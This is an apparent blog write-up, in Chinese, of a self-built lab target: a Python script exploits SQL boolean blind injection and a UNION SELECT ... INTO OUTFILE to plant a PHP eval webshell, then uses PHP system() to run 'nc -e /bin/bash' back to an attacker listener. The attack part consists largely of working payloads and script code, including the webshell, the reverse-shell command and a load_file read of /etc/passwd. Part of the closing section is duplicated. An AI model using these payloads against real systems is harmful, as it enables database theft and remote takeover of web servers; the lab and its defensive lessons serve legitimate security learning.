• 基于SQL布尔盲注与联合查询的WEB渗透


    基于SQL布尔盲注与联合查询的WEB渗透

    0x00 靶机环境

    • 基于LNMP框架,通过GET方式提交参数id

    • 靶机源码:./target

    • 渗透程序源码:./poc/sqli-getshell.py

    • 靶机编译方式:

      cd ./target
      docker-compose up -d
      sudo chmod 777 www -R
      # 给 www 写权限,便于后续webshell写入
      
      • 1
      • 2
      • 3
      • 4

    image.png

    • 在手动测试时没有检测到WAFunion select正常执行,可以联合查询注入
    • 查询错误不回显错误信息,仅返回WRONG,无法进行报错注入,可以布尔盲注
    • load_file("/etc/passwd")可执行,into outfile('/tmp/tmp')可执行,有机会写入WEBSHELL
    • 注入version()命令,查询到MySQL的版本较低,植入的WEBSHELL可能具有644及以上的权限,外部用户可读

    0x02 靶机源码分析

    • ./mysql/init/privileges.sql:授予所有用户file权限

      image.png

    • ./mysql/my.cnf:关闭MySql文件读写控制

      image.png

      ./php/Dockerfilephp容器中安装了netcat,可以执行nc命令反弹shell

      image.png

    • ./docker-compose.ymlphpmysql容器同时映射了/var/www/html,可以直接将WEBSHELL写入站点根目录;同时,MySQL版本为5,导出的WEBSHELL外部用户可读,即php解释器可解释

      image.png

    0x03 渗透脚本编写

    • 源码:./poc/sqli-getshell.py

    • 整个攻击脚本使用Python3编写,主要利用requests库与服务器交互

    • 由于涉及os.system('nc xxx')等命令,脚本需要在Linux环境下运行

    A. 布尔盲注获取数据
    • 核心payloadand拼接注入的命令,利用ascii()substr()等函数逐字符猜测,循环测试得到所需信息

      ?id=1 and ascii(substr(database(),{index},{index}))<{x}--+
      
      • 1
    B. 联合查询写入木马
    • 核心payload:通过union select,将一句话木马写入后端服务器

      ?id=2988 union select 1,2, \"<?php eval(@$_POST['xiabee']);?>\" into outfile '/var/www/html/{}'
      
      • 1
    • 木马随机命名,避免重复执行时因文件名冲突而异常终止:

      filename = rand_str(6)+'.php'
      
      • 1
    C. PYTHON 开启本地NC
    • 核心payload:打开nc监听,等待受害者机器上线

      os.system('nc -nvlp {port}'.format(xport))
      
      • 1
    D. PHP 命令反弹SHELL
    • 核心payload:由上述代码可知,变量$xiabee可以实现任意命令执行,这里通过pythonrequests发送phpsystem()命令,实现nc,连接攻击者主机:

      payload = "system(\'nc -v {ip_of_attacker} {port} -e /bin/bash\');"
      data = {'xiabee': payload}
      r = requests.post(url = new_url, data = data)
      
      • 1
      • 2
      • 3
    E. FORK() 开启子进程
    • 由于需要本地开启nc,会导致进程阻塞,无法发送payload,故通过os.fork()开启子进程,通过两个进程分别执行ncsend payload

    • 需要确保nc开启后再发送payload,故在send payload进程中sleep一段时间

      pid = os.fork()
      if pid != 0:
          os.system('nc -nvlp {}'.format(xport))
      else:
          time.sleep(8)
          # sleep until nc process already started
          data = {'xiabee': payload}
          r = requests.post(url = new_url, data = data)
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
    F. 输出优化
    • 保留并输出部分布尔盲注过程,减少程序停顿时间,便于攻击者观察程序是否正在运行

    • 添加[+][-]等标记,便于观察程序CLI输出

      image.png

    0x04 渗透结果

    • 查询整个security库,包含user, flag等表单,获得核心表单flag表的flag字段:FLAG{W2LC0M2_T@_THE_CTF_W021D!}

    image.png

    • 写入WEBSHELL并解析,反弹shell成功

    image.png

    • WEBSHELL命令执行成功,拿下容器控制权:

    image.png

    0x05 渗透心得

    • 本次SQL注入原理比较简单,仅通过布尔盲注和联合查询进行各项操作,但环境的搭建远比我想象的复杂的多…最开始直接运行去年编写的LNMP环境,发现libssl库更新,导致php容器无法运行…最后被迫在Dockerfile中写入手动安装旧版本libssl的命令
    • 在注入的实践过程中也遇到了许多问题:比如WEBSHELL写入无回显,重复执行导致命名冲突;nc阻塞进程,导致payload无法发送等…后面联想到操作系统课程中学到的进程通信等知识,意识到可以通过创建子进程来处理阻塞的问题;而随机化文件名是迫不得已,虽然巧妙的避开的重名的风险,但是每次执行都产生新的WEBSHELL,实战中会增加被受害者发现的可能性,实验中也增加了删除废弃WEBSHELL的工作量…
    • 有输入的地方就有攻击,有服务的地方就有攻击面…自己编写服务程序时需要多加注意,努力减小攻击面

    0x06 渗透总结

    • 容器隔离具有局限性,不同容器拥有相同的目录映射时,会增大攻击面,可能会导致容器间的攻击
    • 外部用户拥有站点根目录的写入权限时,给getshell创造了可能
      务的地方就有攻击面…自己编写服务程序时需要多加注意,努力减小攻击面

    0x06 渗透总结

    • 容器隔离具有局限性,不同容器拥有相同的目录映射时,会增大攻击面,可能会导致容器间的攻击
    • 外部用户拥有站点根目录的写入权限时,给getshell创造了可能
    • Mysql服务开启任意文件读写后需及时关闭,否则极大增加攻击面
  • 相关阅读:
    网络安全(黑客)—0基础学习手册
    java【毕业设计】项目-第111期基于ssm的教务信息管理系统-计算机毕业设计
    网课查题接口API调用 独立后台控制
    端口转发及防火墙过滤设置
    rainbond 如何切换源码构建所需的builder镜像以及runner镜像拉取地址
    机器学习笔记 十九:由浅入深的随机森林模型之分类
    代码随想录算法训练营第23期day13| 二叉树理论基础、递归遍历、迭代遍历、统一迭代
    6 个超级良心的开源教程!
    Word标题编号转换为纯文本
    Linux下导出dump文件(Oracle和PG数据)
  • 原文地址:https://blog.csdn.net/newlw/article/details/126839163